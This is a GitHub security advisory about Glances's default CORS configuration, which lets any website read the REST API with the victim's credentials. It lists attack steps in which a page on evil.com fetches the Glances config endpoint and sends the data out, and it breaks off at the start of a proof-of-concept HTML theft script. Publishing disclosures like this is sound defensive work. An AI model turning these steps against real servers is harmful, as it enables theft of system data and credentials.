GitHub Security Advisory: GHSA-9jfm-9rc6-2hfq
Package: Glances (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Vulnerable versions: < 4.5.2
Patched in: 4.5.2

Summary: Glances's Default CORS Configuration Allows Cross-Origin Credential Theft

Details:
## Summary

The Glances REST API web server ships with a default CORS configuration that sets `allow_origins=["*"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.

## Details

The CORS configuration is set up in `glances/outputs/glances_restful_api.py` lines 290-299:

```python
# glances/outputs/glances_restful_api.py:290-299
# FastAPI Enable CORS
# https://fastapi.tiangolo.com/tutorial/cors/
self._app.add_middleware(
    CORSMiddleware,
    # Related to https://github.com/nicolargo/glances/issues/2812
    allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
    allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
    allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
```

The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are:
- `cors_origins = ["*"]` (all origins)
- `cors_credentials = True` (allow credentials)

Per the CORS specification, browsers should not send credentials when `Access-Control-Allow-Origin: *`. However, Starlette's `CORSMiddleware` implements a workaround: when `allow_origins=["*"]` and `allow_credentials=True`, the middleware reflects the requesting origin in the response header instead of using `*`. This means:

1. Attacker hosts `https://evil.com/steal.html`
2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page
3. JavaScript on `evil.com` makes `fetch("http://glances-server:61208/api/4/config", {credentials: "include"})`
4. The browser sends the stored Basic Auth credentials
5. Starlette responds with `Access-Control-Allow-Origin: https://evil.com` and `Access-Control-Allow-Credentials: true`
6. The browser allows JavaScript to read the response
7. Attacker exfiltrates the configuration including sensitive data

When Glances is running **without** `--password` (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.

## PoC

**Step 1: Attacker hosts a malicious page.**

```html
<!-- steal-glances.html hosted on attacker's server -->
<script>
async function steal() {
  const target = "http://glances-server:61208";
  
  // Steal system stats (processes, CPU,